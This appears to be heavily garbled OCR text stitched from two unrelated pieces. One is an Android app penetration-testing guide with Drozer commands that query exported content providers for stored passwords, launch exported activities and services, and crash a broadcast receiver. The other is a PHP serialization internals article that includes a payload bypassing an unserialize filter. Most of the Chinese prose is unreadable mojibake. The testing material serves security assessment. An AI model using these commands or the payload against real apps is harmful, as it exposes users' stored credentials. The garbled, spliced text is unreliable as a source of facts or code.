this.btn = ((Button)findViewById(2131230722));
this.btn.setOnClicklistener (new View.OnClickListener ()
{
public void onClick (Viev parawAnonymousview)
{
if (MainActivity.this.et.getText().toString().contentEquals(“password”))
{

MainActivity.this.startictivity (paramAnonymousView) ;
,,,,,, ‘

|

vity.this.getApplicationContext

b4
2]

3)
BT EERARD T o

2.

Ke6. 1 F jdgui.exe B4

ERRBAERANTH JAVA £,

A jdgui xR jd-gui.exe, FTF EEmARH jar € classes_dex2jar.jar,

localWebView.setScrollBarStyle (33554432);

WebSettings localWebSettings = localWebView.getSettings():
localWebSettings.setJavaScriptEnabled (true);
localWebSettings.setDefaultTextEncodingName (z[3]):
localWebSettings.setSupportZoom(true);

18.8) )7

localWebView.addJavascriptInterface (new t(this.b, this.a, localWindowManager,l localWebView, locallmageButton), z[2]):

localWebSettings.setCacheMode (2);
;oca;;;lew. se;;;m;;len; 1new _! !ﬁ

7. addJavascriptinterface Jj 2

RTINS i

N
sy

T

tMEE2 Android 42 B 2 B MR Z& ,

@Javascriptinterface k{X# addjavascriptinterface.,

RETH:
Bl

& #RiFEE dex2jar F jdgui.exe

EEMAS, MEZ Android 4.2 Z R AB HREREBHEEN addJavascriptinterface

KEEEE B

1. Android 4.2 Z BTk A&X addJavascriptinterface g% A S &7t e ;

2.

addjavascriptinterface.
3.
f. AFHAMRRA

Android 42 X Zz & M & ,

==

=

& H

EHERNREERTRERE[EHA js2java By bridge.

ZH4¥ Content Provider EC B451%, SEEIEMIR

fafagR: =

Bl @Javascriptinterface 3k 8 &
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B BEH#R:  Content Provider 22 s A, MREHTEIBHIBERNAINBIRA.
&1 Content Provider #ixtz—EL” content://” FFkEI4FE URI, Rz &R AT LA I X
4~ URI #:1E Content Provider N FIRIEIERE. MNEN AN RIRE A Y oiEmESME.
KBTS ENPR:

1. ff] Drozer SREUATA A LATT [E]H) URI:

run scanner.provider.finduris -a (package name) (package name ZF NN FH
)

_mercury> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...

Unable to Query content://com.mwr.example.sieve.DBContentProvider/
Unable to Query content://com.mwr.example.sieve.FileBackupProvider/
Unable to Query content://com.mwr.example.sieve.DBContentProvider

‘Fable to Query content://com.mwr.example.sieve.DBContentProvider/Passwords/
—-Able to Query content://com.mwr.example.sieve.DBContentProvider/Keys/
‘Unable to Query content://com.mwr.example.sieve.FileBackupProvider

Able to Query content://com.mwr.example.sieve.DBContentProvider/Passwords

Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys

Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

mercury>

1l

(1]

FI8. FI H Drozer 3REX AT LAV 7] f¥) URI
2. £/ Drozer 3REXE A URI FY$HE
run app.provider.query
content://com.mwr.example.sieve.DBContentProvider/Passwords/

(content://com.mwr.example.sieve.DBContentProvider/Passwords/

& b BB AG 2[RI LT R URD

content://com.mwr.example.sieve.DBContentProvider/Passwords/
mercury> run app.provider.query content://com.mwr.example.sieve.DBContentProvide
r/Keys/
| Password | pin |

mercury> run app.provider.query content://com.mwr.example.sieve.DBContentProvide
r/Passwords
| _id | service | username | password | email

mercury> run app.provider.query content://com.mwr.example.sieve.DBContentProvide
r/Passwords
| _id | service | username | password | email |

mercury> run app.provider.query content://com.mwr.example.sieve.DBContentProvide
r/Passwords/
| _id | service | username | password | email |

mercury> run app.provider.query content://com.mwr.example.sieve.DBContentProvide
r/Passwords/
| _id | service | username | password | email |

mercury> I
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Kl9. M H] Drozer FKHX AT A7 ] ) URI £ 4f
WETHE: Drozer
BRI : R AR AndroidManifest.xml scfErh, &8 provider
android:exported @147 false JEBIT R E B E XIRKRHIXS content provider g1
Ep
HF Activity IREFHR, SREFRWHEP ST
fEkgA: 5
BIRRHR: Activity 22 NRAN, REUESHPHITIENRE. MR BEIRRIEHT
4, KN ERARERER RZFE-
RAEFENDR:
1. {$ Drozer & APK REHZEEREM activity, #FH4< run app.activity.info -a

(package name). (package name ZFRNMNNAEZ)

dz> run app. activity. info -a com. ylmf. androidclient
Package: com. ylmf. androidclient
com. yLmf. androidclient. UI. LogActivity
Permission: null
com. yLmf. androidclient. mediaplayer. VideoVitamioPlayActivity
Permission: null
com. yLmf. androidclient. circle. activity. CircleShortCutEnterActi

Permission: null

com. ylmf. androidclient. UI. MainBossActivity
Permission: null

com. yLmf. androidclient. uidisk. SchemeMainActivity
Permission: null

com. ylmf. androidclient. wxapi. WXEntryActivity
Permission: null

Kl10.  FIH Drozer i 5/ 75 F #& 1 Activity

2. & EEA com.yimf.androidclient.Ul.MainBossActivity 2 IF& B F R m.

Ht iR ERENEAERHNNFRE. ATUERUATHLSZXER.

dz> run app. activity. start --component com. ylmf. androidclient com. ylmf. androidc
lient. circle. activity. CircleShortCutEnterActivity

dz> |

F|F Drozer Ja 7l Activity
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10t T .l @@ 10:47 FF

B, IRBIEAREAFE!

K11.  FIH Drozer J3 3l Activity #F N\ L
RME T E.: Drozer
BED: BEIiRsaEXUR, REIXT Activity K.
HAF service BB R, FHIREMRRFA
fafagR: =
] REHER: Service £ Android iU KAHHTEAELR T EALE, MRHNR F IR
EHAYE, SEHMNBT RSN AR Service.
WEHEMDR:
1. £/ JEB #& APK hEEHFHERER Service, i apk #EA JEB d1, REEHRREM

Service

Kservice android:name="com.cleanmaster.appwidget.WidgetService" android:process=":service">
<intent-filter>
<action android:name="com.cleanmaster.appwidget.ACTION FASTCLEAN" />
<action android:name="com.cleanmaster.appwidget.ACTION REPORT ACTIVE" />
<action android:name="com.cleanmaster.appwidget.ACTION REMOVE GO WIDGET" />
<action android:name="com.cleanmaster.appwidget.ACTION RESET FAST CLEAN" />
<action android:name="com.cleanmaster.appwidget.ACTION ADD GO WIDGET" />
</intent-£filter>
K/service>

K12, A JEB Kt 547 B F&  Service

2. 7F EET com.cleanmaster.appwidger.WidgerService J& ¥ B iR, FERE.
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EHNNARET com.cleanmaster.appwidget.WidgetService JR A1 24 @ I AR 5 & 1%

action J§ com.cleanmaster.appwidget. ACTION_FASTCLEAN Hj intent i, {ERJZ&RES

ITITH— L app #Hig.

_ Intent in = new Intent();

3 in.setComponent (new ComponentName ("com.cleanmaster.appwidget™,"com.cleanmaster.appwidget.WidgetService™));

5 in.putExtra("action"”, "com.cleanmaster.appwidget.ACTION_FASTCLEAN");

7 startService(in);

Kl13. I Eclipse 4’5 XA A 3)) Service
KMETE. JEB, Eclipse
BRI : RN AR AndroidManifest.xml scfErh, &8 Service
android:exported @7 false s&E BT R B B E XIRKREIXT Service T8
#H14 Broadcast Receiver ELE45R, SEIELMRS . JEEBAL
fEkgA: 5
i) BEHEiR: Broadcast Receiver 2 Android fP KA FRE BEAHAN, BEHE
BTG N EMNEARTIA AR AZE BN AIEREEME, EERSHES.
WEHEMDR:
1. [ JEB 18%& APK M EBFHEREM Receiver, R apk #EA JEB i1, REEHREM

Receiver

<receiver android:name="com.baidu.android.defense.push.PushMsgReceiver" android:process=":bdservice vi">
<intent-filter>
<action android:name="com.baidu.android.pushservice.action.RECEIVE" />
<action android:name="com.baidu.android.pushservice.action.MESSAGE" />
</intent-filter>
</receiver

K14, FIH] JEB K /& 55 25k (1 Receiver
2. £ _EEH com.baidu.android.defense.push.PushMsgReceiver B i1ZBEIR, PFTLE
REM.
FEHN R com.baidu.android.defense.push.PushMsgReceiver 74 DOS W iHH
M. PushMsgReceive AI#§ com.baidu.android.pushservice.action.MESSAGE F1
com.baidu.android.pushservice.action.RECEIVE BHiE &2 . &% com.baidu.androi-

d.pushservice.action.RECEIVE &, AN R FH B 5% o

METE: JEB, Eclipse
BMED: 80 KB AndroidManifest.xml ik, &8 receiver §

android:exported Bt X false iF BT IR E B E XX RKRHIXT receiver g3 18]
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N MARESR

FFJR allowbackup Z AR, FAEZ S 8 KUK

&R 5

] REHER: 40 F 9 AndroidManifest.xml 3T allowBackup & HEEHIR B 7

true, ABE adb backup XN AEIEH#ITER, F£T root BUIENR T AT AT H K F 7 fEHY
A%, A PRETE.

RAEFENDR:

1. EAREIFRME ApkTool Xf apk #1TR HiF. EM#< apktool d XXX.apk ABC |k

2R XXX.apk B|3C#F3k ABC

cv C:\WIRDO¥S\system32\cnmd. exe

if iinstall-framework <framework.apk> [{tag>] ——frame—path [{location>]
Install framework file to your system.

» additional info,. see: http://code.google.com/p/android—apktool/
» smali/baksmali info,. see: http://code.google.com/p/smali/

C:\Documents and Settings\ﬂdministrator\ﬁ%ﬁﬁ\RPKTOOL)apktoo1 d testapp.apk ABC

I1: Baksmaling...
I: Loading resource table...

I: Loaded.

I: Decoding AndroidManifest.xml with resources...

I1: Loading resource tahle from file: C:\Documents and Settings\dministrator\apk|
too1\f ramework\l .apk

I: Loaded.

I: Regular manifest package...

I1: Decoding file—-resources...

I1: Decoding values /% EMLs...

I1: Done.

I: Copying assets and libs...

C:\Documents and Settings\ndministrator\ﬁ%ﬁﬁ\ﬂPKTOOL)

K15, FIH apktool & 4w

THE #®EE FEW We IEO M

Q me - $ Pmx [z F-

H4E (D) |23 C:\Documents and Settings\Adninistrator\SIE\APKTODL\ABC v é}%ﬂ
SRS 2 Iwi= et <@ i s st

9 BRI R : =5
@ Rt xHRE m) e

el ll: M) LIF
& HEE e

HERE 2
i} APKTOOL

o) manes ‘
o HEu

3 B L
&) FESERE i

Kl16.  FIH apktool J< 4

2. AndroidManifestxml 284 android F2F P A, N TEANTTENRESR, ik
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T package HREMAM (activities, services, %) , DIRZESEIE, BFEEWR
WEBPNERMNBENE. NRE2AEXRE, CERTRRAEFPREEAZINAHER, B
NErs B rRNARFEARN permissiosns 58. EHEAPEZR allowBackup B, €&
EEWIRE R true,

RMETE: Apklool

B : 2% android:allowBackup B4R E F false, ByIEHHETR.

JFJ& Debuggable @14, F7ERA{E B E B EE XK

fafagR: =

] B : Rz A# AndroidManifest.xml s Debuggable B EHIZE J true,

AL BT RREFIRRFMBITRE, ENARFBITRESEIT .

WEHEMDR:

1. R &IFRHG ApkTool Xt apk HITR 4wiF. FRE—T.

2. 7£ AndroidManifest.xml {82 Debuggable B4, EEZHZHWIRE N true,

RMETE: Apklool

BRI %2% android: Debuggable B4 E K false, TRAEX R AT

. FRFIEFRANTE

FREEBARAE, FBHFRKEFHEBAH

fafagR: =

BIREHIR:  #OR FATT&FE B AHE.

WEHEMDR:

J7iE—: {#F JAVAkeytool TAEEXS

1. BRIEWON APK, K META-INFO TR RSA SXHFHEREI AN BR T .

B job_v2.9.4 20150708 01. | &

., assets K.

§ com || MANIFEST.MF
i META-INF CERTSF

- [ org

| res

K17, RIS SCME
2. HANJAVARZEERMTERDNT, £ dos FTRAGS
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keytool - printcert -file BF\xxx.RSA

Fr ™ |
BER: C\Windows\system32\cmd.exe =NNCN X

- 9 o T B e,

C:\Program Files\Java\jdkl.7.8_67\bin>keyt
& : CN=Android Debug, O=Android, C=US
: CN=Android Debug,. O=Android, C=US
: 53c4e242
FFi4HER: Tue Jul 15 16:11:46 CST 2014, #ilF HHA: Thu Jul @7 16:11:46 CST

MD5: B8:BE:4F:BA:F1:E3:34:84:25:BE:908:C1:AF:FA:30:BA
SHA1: 64:24:D9:D4:1F:35:84:DD:16:8C:73:A0:94:C2:D7:D?:AF:52:7B:0E
SHA256: AF:86:6D:96:0C:FF:E2:EA:4D:B8:88:A3:F3:FB:FD:7A:B4:8D:34:A2:4C:
CD:25:DE:7E:A F2:32:52:8E
7v: SHALwithRSA

K18, HBEZLIERER
HiE—: FHIJBEESH

1. J35) JEB, U Rz FATE JEB fi#TFF, 7E Certificate IS ETEZEZIFP.

File Edit Action Window Help
1

u 4 | Manifest Resources Assets Certificate 3 Assembly Decompiled Java

Type: X.509

W Version: 3

X Serial Number: Ox4dédcfOd

¥ Issuer: CN=liyi

z Validity: from = W 1 CST 2011
Promoter to = CST 3010
UBroadcast Subject: CN=liyi
N Public Key:
b type = RSA 1024 bits
c exponent = 65537
d modulus = 150745539459475744062126989372057969793045289697293961966308541948
e Signature:

4 update type = SHAlwithRSA, OID = 1.2.840.113549.1.1.
UmengDownl hexdata = 80 E9 CC 85 56 54 B6 FA 99 6C DC so 96 E1 7D 58 E1 FD E3 4C 29 2
UmengUpdat
UmenalUpdat FC EB F2 DA 53 39 A7 90 2E 36 5A BO 2B EA
gup
3 9E 13 1C 53 58 6C 4B 72 38 98 30 C4 EO DA 76 93 B8 BO

UpdateResp

FC 83 6A BA 86 12 A7 C7 5D CB 85 26 0OA 04 C9 48 72 99
K19, A JEB AEZLIEBER

METE: JAVAkeytool TEs} JEB

B MENAnFEETID.
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3R PHP I L R RFFFIHL R B [1]-PHP 5L

{£% : LonelyRain

A RFIME AR R FFFIE?

o2 PHP i{E (zval) EME—RESFRIARANFHE. FIUL—INRESREN
SNBALENE, EET2RENENTE, RaREXNZT.

RFEFIL: ME—MBFFINETEMTRIE, FHBIRE PHP ME (zval) .
PHP 34772

PHP ZE 7 5L BB < 50 R T 8 LAY R AR (B 1T i 77 o
B—DEFPFLINIE, RERBEZEM S ext/standard/var.c*f, WT.
php_var_serialize class()efi%4:

static void php_var_serialize_class(smart_str xbuf, zval xstruc,
zval xretval_ptr, HashTable xvar_hash TSRMLS_DC) /x {{{ */
{

incomplete_class = php_var_serialize_class_name(buf, struc
TSRMLS_CC);

php _var_serialize class name()r& %4

static inline zend_bool php_var_serialize_class_name(smart_str
*buf, zval k*struc TSRMLS_DC) /x {{{ */
{
PHP_CLASS_ATTRIBUTES;

PHP_SET_CLASS_ATTRIBUTES(struc);
smart_str_appendl(buf, "0:", 2);
smart_str_append_long(buf, (int)name_len);
smart_str_appendl(buf, ":\"", 2);
smart_str_appendl(buf, class_name, name_len);
smart_str_appendl(buf, "\":", 2);
PHP_CLEANUP_CLASS_ATTRIBUTES();
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return incomplete_class;

}

O:kmKE"E&"E:{}

<?php
class test
{
public function show_one()
{
echo $this—>one;
b
public function show_two()
{
echo "123";
b

Bl MR- B test MZORBEXEMEZEMNIE, FIHUZEERUT:

0:4:"test":0:{}

BMALIEER, XPEPNTERBEFILFTFEPLI, BEIRT LN FI—1 %

RBRENEHNAEELE, BEFSRENRNITE,

HaRmRERNET. 7 .

Hd A BRI s 2 8 AP RIS A (&) FI LS EN R P B S8 ZRRIE.

FA14E3X A PHP Internal Book H1#9%1F .
i 1

<?php

/*%k

* User: LonelyRain
*/

$a = ["foo"];
$all] =& salo];

$s = serialize($a);

print $s;
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CA_EACHS PP AL 2 2R 2

a:2:{i:0;s:3:"fo0";1i:1;R:2;}

XEM RZBABKEREAE - NME HLAZE-ME?B M HAREKE —NME (s:37f00") K

RE_NME.

<?php

So = new stdClass;
$o->foo = $o;

$Ss = serialize($0);

print $s;

U ERBHFIILERE

0:8:"stdClass":1:{s:3:"foo";r:1;}

AT A& zval 3 RZRY 2 BV RNy B 5=

FF B B 44 X AR

e — A (&): R;
X R IR E : I
NULL : N;
true : b:1;
false : b:0;
Long : i
Double : d;
String : s/S;
Class : C;
Array : a;
Object : O;

ZEFBHNBEMHLEERBMNRKL

public : key;
protected : \0*\Okey;
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private : \Okey\0;

I SLI kW2 public / protected / private RIX 51 :

<?php

class Test {
public S$public = 1;
protected Sprotected = 2;
private $private = 3;
}
Sa
Ss

new Test ()

serialize ($Sa):;

var dump ($s) ;

R

"O:4:"Test":3:{s:6:"public";i:1;s:12:"\0*\Oprotected";1:2;s:13:"\0Tes
t\Oprivate";1:3; 1"

BRE-ERFIMEHEXIIR. RRNIZEFEET Sting YEEM DR, s 5 S.

serialize () 5 unserialize () )M BEE—LZF . PHP JRAD serialize () f 2R EHEXFFILEM S
FIFRM, BRF unserialize AX AR S BAIAXRAE, THERICHEXBORDM Lk IRE
%%o

case 'S': goto yyl0;

yyl0:
yych = * (YYMARKER = ++YYCURSOR) ;
if (yych == ':') goto yy39;
goto yy3;

yy39:
yych = *++YYCURSOR;

if (yych == '+') goto yy40;
if (yych <= '/') goto yyl8;
if (yych <= '9'") goto yy4l;
goto yyl8;
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case 's': goto yy9;

yy9:
yych = * (YYMARKER = ++YYCURSOR) ;
if (yych == ':') goto yy46;
goto yy3;

yy46:
yych = *++YYCURSOR;

if (yych == '+') goto yy47;
if (yych <= '/') goto yyl8;
if (yych <= '9') goto yy48;
goto yyl8;

WMARKFKREEE TR N L, &I s MS Bt = I AL 5
R .

WHRKZKFE T phpeodz 10, HIHIHIE a:1: {s:8:"ryatsyne"tO:8: "ryatsyne":0: {} } iX
FER] DA A,

static public function safeUnserialize( $serialized )
{
// unserialize will return false for object declared with small
cap o
// as well as if there is any ws between O and
if ( is_string( $serialized ) && strpos( $serialized, "\O" ) ===
false )
{
if ( strpos( S$serialized, 'O:' ) === false )
{
// the easy case, nothing to worry about
// let unserialize do the job
return @unserialize( $serialized );
}
else if ( ! preg match('/("|;[{I1})O:[+\-0-9]+:"/",
Sserialized ) )
{
// in case we did have a string with O: in it,

// but it was not a true serialized object
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return @unserialize( $serialized );:

return false;

X/ payload 7F php5.6.23 FH AL, & LAY

yy48:
++YYCURSOR;

if ((YYLIMIT - YYCURSOR) < 2) YYFILL(2);
yych = *YYCURSOR;

if (yych <= '/') goto yyl8;

if (yych <= '9') goto yy48;

if (yych >= ';') goto yyl8;

yych = *++YYCURSOR;

if (yych != '"") goto yyl8;

++YYCURSOR;

{

size t len, maxlen;

char *str;

len = parse uiv(start + 2);
maxlen = max - YYCURSOR;
if (maxlen < len) {

*p = start + 2;

return 0;
str = (char*)YYCURSOR;
YYCURSOR += len;
if (* (YYCURSOR) | = oy

*p = YYCURSOR;

return 0;

if (*(YYCURSOR + 1) != ';") {
*p = YYCURSOR + 1;

return 0;
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}

YYCURSOR += 2;
*p = YYCURSOR;

INIT PZVAL(*rval);
ZVAL STRINGL (*rval, str, len, 1);

return 1;

RIBHPBEZMT HSHSKE, XA tricky £1X 1> php lRAHZTLHH

if (*(YYCURSOR + 1) != ';") {
*p = YYCURSOR + 1;

return 0;

WDDX FF3i4k 5

oA R EF N EAENNR X RE TR, RN ILRSBRAE EER serialize
REHITFSk. PHP M T S5 —FFFIER N Web 2 X E#E3#: (WDDX).
WDDX & XML 755, FTARF& WODX MFSI R F R BB ERFE xml BRERN.

NN EE

<?php
/**
* User: LonelyRain

wy

Sa = ["foo"];

Sall] =& $Sal0];

echo wddx serialize value(Sa);

?>
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<wddxPacket version='1l.0'><header/><data><array
length="'2"'><string>foo</string><string>foo</string></array></data></w
ddxPacket>

AL EZEI A B wddx_serialize_value() R4 RS F1Z FIfE A serialize () ik #4b IEHIE AR
RETRT, AASETHIRRAEERRNX 5.

WDDX 77k 2 FF 5 A8 < Bk 4

wddx_serialize value: B —{HESAL.
wddx_serialize vars ¥ ZE L0 .

wddx_packet start :  JFZEHTHT WDDX H .
wddx_packet end . ER K WDDX EHA.
wddx_add_vars . ¥ WDDX HAZESAL.
wddx_deserialize - ¥ WDDX HufiEsAL,

m

Ny

&

X—REBHTFIUEHENRRK, T—X&E5 PHP Fol(kh—REZMNAZR, PHP BEAR
73

0%

Reference:

[PHP %] (http://www.phpinternalsbook.com/classes_objects/serialization.html)

[PHP string 3k 5 R F 5B EBIT AR —BHERN L 2R
£](https://github.com/80vul/phpcodz/blob/master/research/pch-010.md)

[PHP taxzF ] (http://www.t086.com/code/php/group.php-51.php)



